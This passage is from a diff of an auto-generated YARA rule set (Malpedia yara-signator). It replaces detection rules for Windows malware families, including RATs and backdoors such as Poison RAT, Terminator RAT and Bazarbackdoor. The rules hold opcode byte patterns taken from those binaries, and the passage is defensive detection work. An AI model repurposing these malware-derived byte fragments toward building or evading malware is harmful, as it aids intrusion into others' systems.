ff75f8 ba17000000 8945e4 6aff 8bce } + $sequence_1 = { e8???????? 83c408 85c0 7414 8b4d08 89482c 8b4c2434 } + $sequence_2 = { e8???????? 8bf0 85f6 7533 8b4b04 8d4308 50 } + $sequence_3 = { 8bf9 8d45fc 50 8bf2 8b0f e8???????? 83c408 } + $sequence_4 = { e8???????? 8bf8 85ff 7416 ff75fc ff75f4 57 } + $sequence_5 = { 8d850cffffff 6a00 50 e8???????? 83c40c 8d85fcfeffff 50 } + $sequence_6 = { ffb594f4ffff 8bd3 8d8db8f8ffff e8???????? 83c404 8d85b8f8ffff 50 } + $sequence_7 = { ffd0 83c404 83460cff 8b06 c7461400000000 8945fc 751e } + $sequence_8 = { e8???????? 84c0 7504 33f6 eb1e 6a40 e8???????? } + $sequence_9 = { 8d8504ffffff 50 57 ffd6 8985b8feffff 8d45e0 50 } condition: - 7 of them and filesize < 1676288 + 7 of them and filesize < 33816576 } -rule MALPEDIA_Win_Ranbyus_Auto : FILE +rule MALPEDIA_Win_Splinter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "54de3fda-fe2a-5da1-b66d-8d3ced40b618" + id = "d16ca329-56e4-510f-9e6c-3e0242a5a17c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ranbyus_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.splinter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.splinter_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "82fa28b1862a5e88eb758d7dfc3440cfe7dde7bd4fcf686642cc7b0948f4efb1" + logic_hash = "fbea70ebd33891fb1f580e85b1d2c0146d8b7b0ac901561f3697caf4edb74461" score = 75 quality = 75 tags = "FILE" @@ -113573,32 +113494,32 @@ rule MALPEDIA_Win_Ranbyus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? e8???????? 83c40c 33c0 eb03 83c8ff 5f } - $sequence_1 = { 59 85ff 743e 56 6a01 } - $sequence_2 = { 83661800 33c0 5e c3 56 } - $sequence_3 = { 89460c 8b06 59 894604 } - $sequence_4 = { 55 8d6c2490 81ec28010000 56 } - $sequence_5 = { 3b4c2404 7504 83601800 33c0 40 eb11 50 } - $sequence_6 = { 6801200000 e8???????? 8bf0 59 } - $sequence_7 = { 83c605 e9???????? 47 e9???????? 0fb64e01 } - $sequence_8 = { e8???????? 85c0 7504 83c8ff c3 c7402401000000 33c0 } - $sequence_9 = { c706???????? eb07 8bce e8???????? 837e0400 75f3 } + $sequence_0 = { f048ff08 7510 488b4df0 4881c120020000 e8???????? 90 4883c420 } + $sequence_1 = { f048ff08 0f855dfeffff 4883c178 e8???????? e9???????? 488b8558010000 48894530 } + $sequence_2 = { 741b 4c39c0 0f847c000000 420fb61c02 80c3d0 49ffc0 80fb0a } + $sequence_3 = { e9???????? 4c8d0547ba2d00 4889c2 e8???????? 4c8d0538ba2d00 4889c1 e8???????? } + $sequence_4 = { e9???????? 8b05???????? 65488b0c2558000000 488b34c1 488d8e38020000 488d15c6f10000 e8???????? } + $sequence_5 = { f30f7f06 488b9de0030000 4885db 0f8411010000 488db550010000 488d95b0000000 41b898000000 } + $sequence_6 = { e8???????? 84c0 488bbd08040000 743b 8b05???????? 65488b0c2558000000 488b04c1 } + $sequence_7 = { e8???????? eb17 4c8955e8 4c894df0 4c8d05cc034500 4889c1 e8???????? } + $sequence_8 = { f30f7f8910020000 488b4c2448 4c89ea e8???????? 4889f1 4821c1 f30f6f040f } + $sequence_9 = { e8???????? eb2e c685c700000001 4c8d050b894c00 4c89f9 e8???????? eb16 } condition: - 7 of them and filesize < 638976 + 7 of them and filesize < 20177920 } -rule MALPEDIA_Win_Logpos_Auto : FILE +rule MALPEDIA_Win_Netspy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "738ffd15-c890-5ce3-8158-aad7627bd488" + id = "57c767b8-cd93-5302-911f-6988f847c306" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.logpos_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netspy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netspy_auto.yar#L1-L100" license_url = "N/A" - logic_hash = "b0bb7c96824becdbd2b84481288798e82499176f0ad872177caf0cac7c2bcced" + logic_hash = "ecbb26e5fda724e71586bc695509ce41d8249123e16dac20dd9df75d451bc239" score = 75 quality = 75 tags = "FILE" @@ -113612,32 +113533,30 @@ rule MALPEDIA_Win_Logpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 89e5 60 31c0 31c9 fc 8b7508 } - $sequence_1 = { e8???????? 894328 681c429282 ff33 ff736c } - $sequence_2 = { 83fa00 0f852c000000 8d4001 8945f8 8a00 } - $sequence_3 = { 48 83ec38 53 56 57 41 52 } - $sequence_4 = { 8b90d8000000 48 85d2 7410 48 394a08 7505 } - $sequence_5 = { c744241001000000 c744240c00000000 8b442450 89442414 } - $sequence_6 = { 8344242401 48 8344243001 837c243800 7406 48 } - $sequence_7 = { 4c 8d0570040000 49 8b88d8000000 48 } - $sequence_8 = { 83f82f 0f8549000000 8b45fc c680a360400000 8b45fc } - $sequence_9 = { 68ba917bf6 ff33 ff7370 53 e8???????? 89433c } + $sequence_0 = { 4829c4 488b8538340000 4889e1 48898d704d0000 e8???????? } + $sequence_1 = { e9???????? 8b858c170000 3da1b579e1 0f84d92c0000 e9???????? 8b858c170000 3da646bcce } + $sequence_2 = { 48898510130000 8b15???????? 833d????????0a 0f9cc1 } + $sequence_3 = { a801 0f8505000000 e9???????? 488b8da0380000 448b859c380000 } + $sequence_4 = { b8a51c0a0c f6c201 0f45c8 488b85c84a0000 8908 8b15???????? } + $sequence_5 = { 4889e1 48898d90560000 e8???????? 4829c4 } + $sequence_6 = { e9???????? 488b85384d0000 8b00 8985544d0000 e9???????? 488b85404d0000 8a00 } + $sequence_7 = { 448b855c570000 4889c4 b9bc3715ff b88819ea06 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 12033024 } -rule MALPEDIA_Win_Blackcoffee_Auto : FILE +rule MALPEDIA_Win_Warezov_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c2ef4943-3003-5a8e-b84c-2fdafd870b99" + id = "0ec3e9cd-ecfd-5888-8e71-8272853df26c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackcoffee_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warezov" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warezov_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "b695e8fbe67a22ec1c98f5f738aa4dd5737b4b8062371c0306d53cad47c03140" + logic_hash = "8a169bcf46fd926fd65360d9ee1ccb1e67a44520c106569cb5acbfc473bbceb3" score = 75 quality = 75 tags = "FILE" @@ -113651,32 +113570,32 @@ rule MALPEDIA_Win_Blackcoffee_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff75fc 57 6a01 ff15???????? 8bd8 3bdf } - $sequence_1 = { 53 e8???????? 83c40c ffd3 3bc7 7460 8b5610 } - $sequence_2 = { 897dfc 8945f4 50 8d4610 } - $sequence_3 = { 50 c70614000000 ff15???????? 8d85dcfeffff 83c40c 8945e8 8d45e0 } - $sequence_4 = { c68501f0ffff36 c68502f0ffff34 c68503f0ffff50 c68504f0ffff72 } - $sequence_5 = { 8b45fc 89460c c70614000000 e9???????? 83660c00 8d85b4feffff 50 } - $sequence_6 = { 6800800000 57 53 ff15???????? 8b4610 } - $sequence_7 = { e8???????? 8806 8d45b0 50 } - $sequence_8 = { 897dfc 57 ff15???????? 8bd8 3bdf 747a 8b460c } - $sequence_9 = { 895efc ff75f8 56 e8???????? 83c40c 56 } + $sequence_0 = { 8a8c04cc000000 8a9404fc000000 02d1 8a8c04fd000000 889404fc000000 8a9404cd000000 02ca } + $sequence_1 = { c68424a300000065 c68424a400000062 c68424a500000075 c68424a600000070 c68424a700000077 889c24a8000000 c68424ad00000070 } + $sequence_2 = { ffd3 50 ff15???????? 85c0 8b942430010000 8902 7531 } + $sequence_3 = { 8d8c24a8000000 51 6a00 68???????? 8d9424b8010000 52 } + $sequence_4 = { c684243801000039 c6842439010000ac c684243a0100000f c684243b010000fe c684243c01000046 c684243d0100006a c684243e01000038 } + $sequence_5 = { 885e14 8b5008 56 8bcd 885a14 e8???????? eb78 } + $sequence_6 = { 0473 b142 f6e9 8ad8 8b06 80eb12 80cbcd } + $sequence_7 = { 33f6 4d 85ed ba77000000 7e50 8b74240c 53 } + $sequence_8 = { 32ca 888c049c020000 40 83f809 7ce3 8d8424a8020000 50 } + $sequence_9 = { c68424aa000000d3 c68424ab000000b8 c68424ac000000a9 c68424ad0000002e c68424ae00000049 c68424af00000041 } condition: - 7 of them and filesize < 118784 + 7 of them and filesize < 827392 } -rule MALPEDIA_Win_Byeby_Auto : FILE +rule MALPEDIA_Win_Albaniiutas_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0ebfb487-5cbf-53be-adad-b7561bd94d85" + id = "6944bcab-7fa1-5041-889b-6d1c7305340e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.byeby_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.albaniiutas_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "14e04fc099db6b56de85356d95024648b8f691b46ad7013820136f566a988b61" + logic_hash = "ae4d05366f3510708fa40872966a48e3078a4c97e3d0950cdaf94819ee9ab7c6" score = 75 quality = 75 tags = "FILE" @@ -113690,32 +113609,32 @@ rule MALPEDIA_Win_Byeby_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c78424a002000059335630 c68424a402000000 50 8d8424380a0000 50 ff15???????? } - $sequence_1 = { c68424d402000000 c784242c0300005130394e c78424300300005455464f c684243403000000 c78424e402000056464a42 c78424e8020000546c4e47 c68424ec02000000 } - $sequence_2 = { 8d85c0f9ffff 66c745e80d0a 6804050000 50 f30f7f45d4 c645ea00 } - $sequence_3 = { 50 8b8528e5ffff 0f94c1 898d3ce5ffff 8b8d24e5ffff 8b048518ab0110 ff3401 } - $sequence_4 = { 85c0 7411 ff35???????? 8bc8 } - $sequence_5 = { 8bf0 83feff 0f8489000000 6a00 56 ff15???????? 3d00900100 } - $sequence_6 = { 894c2428 ff15???????? 85c0 7430 8b7c2414 8d4900 83f8ff } - $sequence_7 = { 64890d00000000 59 5f 5e 8b8c243c100000 33cc } - $sequence_8 = { 0fbec2 0fb680d0450110 83e00f eb02 33c0 8bbdc8fdffff 6bc009 } - $sequence_9 = { 740b 8d44246c 50 ff15???????? 8b442430 85c0 7409 } + $sequence_0 = { c745e410000000 c705????????02000000 c745e802000000 c745ec07000000 c745f000000000 } + $sequence_1 = { 03048d90df0210 50 ff15???????? 5d } + $sequence_2 = { 83c40c 5d c20c00 e9???????? 55 8bec ff7508 } + $sequence_3 = { 56 8b048d90df0210 57 8b7d10 } + $sequence_4 = { 8b049590df0210 f644082801 7421 57 e8???????? 59 50 } + $sequence_5 = { 8975ec 0fb70445b01a0110 66894c4774 8bcf } + $sequence_6 = { 0f8e6fffffff 83c8ff eb07 8b04cd4c6b0110 } + $sequence_7 = { 8b4508 c740183c1b0110 c74104513f0000 e9???????? } + $sequence_8 = { 8b4508 c74018241c0110 e9???????? 8b550c c74104473f0000 83fa06 0f8430070000 } + $sequence_9 = { c74048c0a40110 8b4508 6689486c 8b4508 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 566272 } -rule MALPEDIA_Win_Nimplant_Auto : FILE +rule MALPEDIA_Win_Terminator_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a344304a-2438-58e4-b960-8890c3f03181" + id = "a907b97c-e30c-569d-92f6-e3c29e0c0bce" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimplant" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimplant_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.terminator_rat_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "3bcc7f38e2b9ac77c0e1b998e8b9b2d2ae5abbf7ef3c4a3072bece45de56739e" + logic_hash = "65d625611fed0b10063c05f198c3f84077666921d947cf7651a55c8e71d92a0f" score = 75 quality = 75 tags = "FILE" @@ -113729,32 +113648,32 @@ rule MALPEDIA_Win_Nimplant_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8d05a49c0400 e8???????? 4885db 740f 48b80000000000000040 488503 } - $sequence_1 = { 4d85e4 0f8886000000 410fb6443c08 89c2 83e2fd 80fa3c 7404 } - $sequence_2 = { 4d29dd 4801fe 488d4802 4839d1 7c16 4801d2 4883c003 } - $sequence_3 = { 744a 488d4c2430 4c89ea e8???????? 488b7c2430 0fb62b 4c89e9 } - $sequence_4 = { 4c8b11 4c8b5908 488b02 4c89c3 4c8b4208 4c8d6c2430 4989d4 } - $sequence_5 = { 498b4708 420fb6440807 3c5c 744d 3c2f 7449 ba01000000 } - $sequence_6 = { 4c89fa 4c89c9 4c894c2438 e8???????? 0fb63b 4c8b7c2458 4c8b4c2438 } - $sequence_7 = { 48897c2438 0f8093030000 4885c0 0f88c2050000 488d7c2470 4889c2 488dac2480000000 } - $sequence_8 = { 4c894c2448 4c895c2440 e8???????? 4c8b5c2440 4c8b4c2448 4d01d9 0f8050020000 } - $sequence_9 = { e8???????? 0fb62b 4084ed 0f85d6fdffff 89f0 488d9424f0000000 c744242001000000 } + $sequence_0 = { ffb7e8feffff 8d854d010000 8987e8feffff 8b8541010000 c1e006 } + $sequence_1 = { c0c003 3441 c0c003 3452 c0c003 3443 } + $sequence_2 = { 6a04 bb00040000 57 53 6a00 } + $sequence_3 = { 53 56 8b7708 ff77fc ffb51d010000 8f47f4 } + $sequence_4 = { 8d4618 50 8b8539010000 03c1 50 e8???????? 8b4610 } + $sequence_5 = { 50 e8???????? 83f8ff 7408 81c400040000 } + $sequence_6 = { 8b4b0c ac 3459 c0c803 3448 c0c803 } + $sequence_7 = { 8f87f0fbffff 5e 5b 81c410040000 } + $sequence_8 = { e9???????? ff7610 8b8d35010000 8d4618 50 8b8539010000 03c1 } + $sequence_9 = { ff5541 50 ff5569 8bf0 } condition: - 7 of them and filesize < 1811456 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Privateloader_Auto : FILE +rule MALPEDIA_Win_Poison_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f74899e2-5f0f-5412-9628-abf5d89b0b25" + id = "7c6f2ea3-14d0-5bd3-b5de-002b01a6e4ac" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.privateloader_auto.yar#L1-L180" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poison_rat_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "6d2070cfc4fc90b89a113279c1da7a1229970780c46dc9914cb804e46d0ce9c2" + logic_hash = "3e3b3a6380a6de226db390b398cafc3338e9d953c2f6c73b523494bf22932b99" score = 75 quality = 75 tags = "FILE" @@ -113768,43 +113687,34 @@ rule MALPEDIA_Win_Privateloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bec 83ec1c 894df8 8b45f8 8b4810 894df4 } - $sequence_1 = { 8945f4 8b4dfc 83791408 7209 } - $sequence_2 = { 8b55e4 8a45ff 88040a 8b45f8 } - $sequence_3 = { 8b4d08 3b4814 776d 8b55f8 8955f4 8b45f4 8945ec } - $sequence_4 = { 8b45d8 8b4ddc 8b55d0 8b75d4 } - $sequence_5 = { 8b4508 8945e4 8b4de8 034de4 8a55ff } - $sequence_6 = { 8945c8 8955cc 8b45c8 8b55cc 5e } - $sequence_7 = { 8b55f8 8b45f4 3b4214 736c } - $sequence_8 = { e8???????? 33d2 b93f000000 f7f1 } - $sequence_9 = { 8b4590 8b4d94 8b5588 8b758c } - $sequence_10 = { a3???????? 33c0 5e c3 3b0d???????? } - $sequence_11 = { e8???????? 83c610 83c002 83ef08 } - $sequence_12 = { 81ec68010000 a1???????? 33c5 8945fc 56 57 } - $sequence_13 = { 83c201 8955e0 83d600 8975e4 } - $sequence_14 = { 8b4de0 8b45e4 50 51 52 56 e8???????? } - $sequence_15 = { 6a04 8d4310 50 6a06 } - $sequence_16 = { 0bc8 56 57 7529 } - $sequence_17 = { 8b8578ffffff 8b8d7cffffff 8b9570ffffff 8bb574ffffff } - $sequence_18 = { 03d0 8b4d9c 13f1 83c201 } + $sequence_0 = { f3ab 6810270000 8d8dc4d5ffff 6a01 } + $sequence_1 = { 83e61f 8b048580c54000 8b04f0 83f8ff } + $sequence_2 = { 33f3 8bf9 8930 8bf1 c1ef10 c1e908 } + $sequence_3 = { 33d7 8b7c2414 c1ef18 8b3cbd30984000 } + $sequence_4 = { 8ac8 80c120 888840b34000 eb1f 83f861 } + $sequence_5 = { 8bd3 c1ea18 c1ed10 8b149530984000 } + $sequence_6 = { 331c9530984000 8bd7 81e2ff000000 331c9530a44000 8b10 } + $sequence_7 = { 8bd9 c1eb18 895c2420 8bdf 8b7c2420 c1eb10 } + $sequence_8 = { 8a6e08 8a4e09 c1e108 0bca 33d2 8a560b } + $sequence_9 = { 330c9530a04000 8bd5 81e2ff000000 81e3ff000000 c1ed18 } condition: - 7 of them and filesize < 3670016 + 7 of them and filesize < 101688 } -rule MALPEDIA_Win_Bazarbackdoor_Auto : FILE +rule MALPEDIA_Win_Calmthorn_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2eb10499-a33e-504f-b2b6-402a6cc658a9" + id = "cf990769-6e13-5a67-bc05-b21c727d36bf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bazarbackdoor_auto.yar#L1-L624" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.calmthorn_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "bd8ba9a21bc32243d9a5d52be7c33e7ba5fb181916b5174a91f30401b1052790" + logic_hash = "a1bc3f3172ae049034dbbb2cc969035914c9181e535af50f1d71d6e16050356b" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -113816,98 +113726,34 @@ rule MALPEDIA_Win_Bazarbackdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488bce 4889442420 ff15???????? 85c0 780a 4898 } - $sequence_1 = { 41b8e6b5a12c 448d4a7d e8???????? 4885c0 740c } - $sequence_2 = { 4533c0 ffd0 eb03 488bc7 83f8ff } - $sequence_3 = { 48635004 85d2 7415 48035138 488b4928 } - $sequence_4 = { 0fb70f ff15???????? 0fb74f02 0fb7d8 ff15???????? 0fb74f08 } - $sequence_5 = { 488d4d80 e8???????? 498bd6 488d4d80 } - $sequence_6 = { ff15???????? 0fb74f08 440fb7e8 ff15???????? } - $sequence_7 = { 7507 33c0 e9???????? b8ff000000 } - $sequence_8 = { c3 0fb74c0818 b80b010000 663bc8 } - $sequence_9 = { cc 4053 4883ec20 b902000000 } - $sequence_10 = { 4533c9 4889442428 488d95a0070000 488d442470 41b80f100000 488bce 4889442420 } - $sequence_11 = { 418d5508 488bc8 ff15???????? 488bd8 4885c0 } - $sequence_12 = { 48c1e108 4803c8 8bc1 488d94059f070000 } - $sequence_13 = { 31ff 4889c1 31d2 4989f0 } - $sequence_14 = { 488d9590050000 488bce ff15???????? 85c0 } - $sequence_15 = { e8???????? 4889c7 8b05???????? 8b0d???????? } - $sequence_16 = { e8???????? 4c89e1 e8???????? 8b05???????? } - $sequence_17 = { 08ca 80f201 7502 ebfe } - $sequence_18 = { 488bd3 e8???????? ff15???????? 4c8bc3 33d2 } - $sequence_19 = { 0f94c3 83fa09 0f9fc1 83fa0a 0f9cc2 30da 7519 } - $sequence_20 = { 83ff0a 0f9cc3 83ff09 0f9fc0 38d3 } - $sequence_21 = { 0fb6d1 80f973 7504 0fb65305 33c0 } - $sequence_22 = { 4889442428 488d95b0030000 488d4580 41b80f100000 } - $sequence_23 = { 0f9cc3 84d3 7504 30d3 } - $sequence_24 = { c744242800000001 4533c9 4533c0 c744242002000000 ba1f000f00 } - $sequence_25 = { e8???????? 8bd8 ff15???????? 4d8bc7 } - $sequence_26 = { ff15???????? 31db 4889c1 31d2 } - $sequence_27 = { e8???????? 4889f1 e8???????? 8b05???????? 8b0d???????? } - $sequence_28 = { 89d0 83f0fe 85d0 0f94c2 0f95c0 83f90a 0f9cc3 } - $sequence_29 = { 0fb65305 33c0 80f973 0f94c0 } - $sequence_30 = { 0fafd0 89d1 83f1fe 21d1 } - $sequence_31 = { c744242880000000 c744242003000000 4889f9 ba00000080 41b801000000 } - $sequence_32 = { 31ed 4889c1 31d2 4989d8 } - $sequence_33 = { 0f9cc3 83f909 0f9fc1 38d3 7507 08c1 } - $sequence_34 = { 7528 0fb64b04 0fb6d1 80f973 } - $sequence_35 = { 08c1 80f101 7502 ebfe } - $sequence_36 = { e8???????? 4c897c2420 4889d9 89fa } - $sequence_37 = { 84d2 7405 80fa2e 750f 0fb6c1 } - $sequence_38 = { 4889c1 31d2 4d89f8 ffd3 } - $sequence_39 = { 31d2 4989d8 ff15???????? 488906 } - $sequence_40 = { 4c8bf0 4889442458 488d4801 e8???????? } - $sequence_41 = { 4889fa 4189f0 4d89f1 ffd0 } - $sequence_42 = { 8d4833 ff15???????? c744242810000000 4533c9 } - $sequence_43 = { 4889f1 ba00000080 41b801000000 4531c9 } - $sequence_44 = { 48c744243000000000 c744242880000000 c744242003000000 4889f1 ba00000080 } - $sequence_45 = { e8???????? 8bc8 e8???????? 8bf8 85ff 7507 6a05 } - $sequence_46 = { 3c0a 7223 89d0 24df 04bf 3c1a } - $sequence_47 = { 84db 7402 ff06 8d4c2410 e8???????? 33d2 85c0 } - $sequence_48 = { 66890d???????? 0fb7ca ff15???????? b901000000 66c746020100 668906 } - $sequence_49 = { 7506 8b0e 894c2460 0fb7c0 } - $sequence_50 = { 686af17afc 6a04 5a e8???????? 59 } - $sequence_51 = { 6685ff 0f849c000000 837c2460ff 0f858c000000 } - $sequence_52 = { 33d2 8d8d00ffffff e8???????? eb18 51 8d4e01 e8???????? } - $sequence_53 = { 59 59 85c0 740b 8bc8 c60100 41 } - $sequence_54 = { 50 0fb745e8 50 68???????? e8???????? } - $sequence_55 = { 51 8b4d00 03cf e8???????? 59 3b442414 } - $sequence_56 = { 0fb7d8 0fb74708 50 ff15???????? 0fb7c8 } - $sequence_57 = { 6a00 ffd3 50 ffd6 33c0 5f 5e } - $sequence_58 = { 83f902 0f95c2 83c224 eb05 ba29000000 } - $sequence_59 = { 8be5 5d c3 6a40 6800300000 ff7750 } - $sequence_60 = { 8d450c 50 ff7508 56 ff15???????? 6a00 } - $sequence_61 = { 660f73d801 660febd0 660f7ed0 84c0 } - $sequence_62 = { 83c40c 8d4101 51 66a3???????? ff15???????? } - $sequence_63 = { 8d7001 81fe80000000 760c 80e1f2 80c902 } - $sequence_64 = { 68???????? e8???????? 83c410 b800308804 6a00 } - $sequence_65 = { 85d2 740d 33d2 83f902 0f95c2 } - $sequence_66 = { 0f848c000000 488b442430 83782000 7460 488b442430 } - $sequence_67 = { 7460 488b442430 488b00 8b4028 488b4c2440 4803c8 488bc1 } - $sequence_68 = { 89442424 48c744242800000000 41b800100200 488d15d02f0000 488d4c2420 } - $sequence_69 = { 4863442430 486bc010 488d0de3380200 4803c8 } - $sequence_70 = { 488d0de3380200 4803c8 488bc1 48634c2434 488d04c8 48634c2438 8b0488 } - $sequence_71 = { 4533c0 ba01000000 488b4c2440 ff9424a0000000 89842480000000 83bc248000000000 } - $sequence_72 = { 488d4c2420 e8???????? 4889442428 4c8d052a200000 } - $sequence_73 = { 4c8d052a200000 488b542428 488d4c2420 e8???????? 4889442430 ff542430 } + $sequence_0 = { eb1e 8b95e42fffff 83c201 8b85e82fffff 83d000 8995e42fffff 8985e82fffff } + $sequence_1 = { ebba 0fb68d2cfdffff 83f901 7552 c785a0c2ffff00000000 eb0f 8b95a0c2ffff } + $sequence_2 = { ebba 0fb695a6fdffff 83fa01 7553 0f57c0 660f13858498ffff eb1e } + $sequence_3 = { e8???????? 83c404 398524ecffff 7d20 8b85e4eeffff 83c001 8985e4eeffff } + $sequence_4 = { ebba 0fb69568fdffff 83fa01 7552 c785e4e2ffff00000000 eb0f 8b85e4e2ffff } + $sequence_5 = { ebba 0fb68d3ffdffff 83f901 7553 0f57c0 660f1385bc4dffff eb1e } + $sequence_6 = { e8???????? 83c404 39855cdeffff 7d20 8b8df4f7ffff 83c101 898df4f7ffff } + $sequence_7 = { eb02 ebba 0fb68d16fdffff 83f901 7556 0f57c0 660f13859423ffff } + $sequence_8 = { ebbb 0fb68d33fdffff 83f901 7552 c785fcc4ffff00000000 eb0f 8b95fcc4ffff } + $sequence_9 = { 8b8d5c1bffff 83c101 8b95601bffff 83d200 898d5c1bffff 8995601bffff 83bd601bffffff } condition: - 7 of them and filesize < 2088960 + 7 of them and filesize < 2322432 } -rule MALPEDIA_Win_Ground_Peony_Auto : FILE +rule MALPEDIA_Win_Redleaves_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "801058db-7b66-5372-8745-75ac698daed8" + id = "b12b9704-a80b-52f8-bcf2-a2bc41cbf847" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ground_peony" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ground_peony_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redleaves_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "e6e32f0220bb10dd7446439a2221f39d91c5ad68ccd69dfaaf804fe3b4efdc99" + logic_hash = "462d228f5e12ac81384499c032e83f48dca27fd714ed17b6018f4ee42f07e472" score = 75 - quality = 75 + quality = 69 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -113919,32 +113765,39 @@ rule MALPEDIA_Win_Ground_Peony_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d15c28a0000 488d0db38a0000 e8???????? 488b4308 833800 } - $sequence_1 = { 4833c4 4889842460050000 488bd1 4d8d4310 498d8bd8fbffff ff15???????? } - $sequence_2 = { eb10 488bc8 ff15???????? 488d0d251e0100 } - $sequence_3 = { e8???????? 48b8d2bc1a37d2bc1a37 41b802000000 4889842420080000 8bd5 4889842428080000 } - $sequence_4 = { ff15???????? 33d2 488d4c2450 41b804010000 e8???????? 41b804010000 } - $sequence_5 = { f20f102d???????? f20f590d???????? f20f59ee f20f5ce9 f2410f1004c1 488d1536830000 } - $sequence_6 = { 4883c428 c3 488d15878e0000 488d0d808d0000 } - $sequence_7 = { 8b0a e8???????? 90 488d1d9e2f0100 } - $sequence_8 = { e8???????? eb22 488d0da51a0100 e8???????? } - $sequence_9 = { 4883ec20 488bda 4c8d0def960000 8bf9 } + $sequence_0 = { 57 54 53 51 7565 7279 55 } + $sequence_1 = { 59 89f9 8d64241c d2c0 } + $sequence_2 = { 8d64241c d2c0 8a01 9c } + $sequence_3 = { 89d0 29f8 5f 5b } + $sequence_4 = { 9c 894504 9c 9c 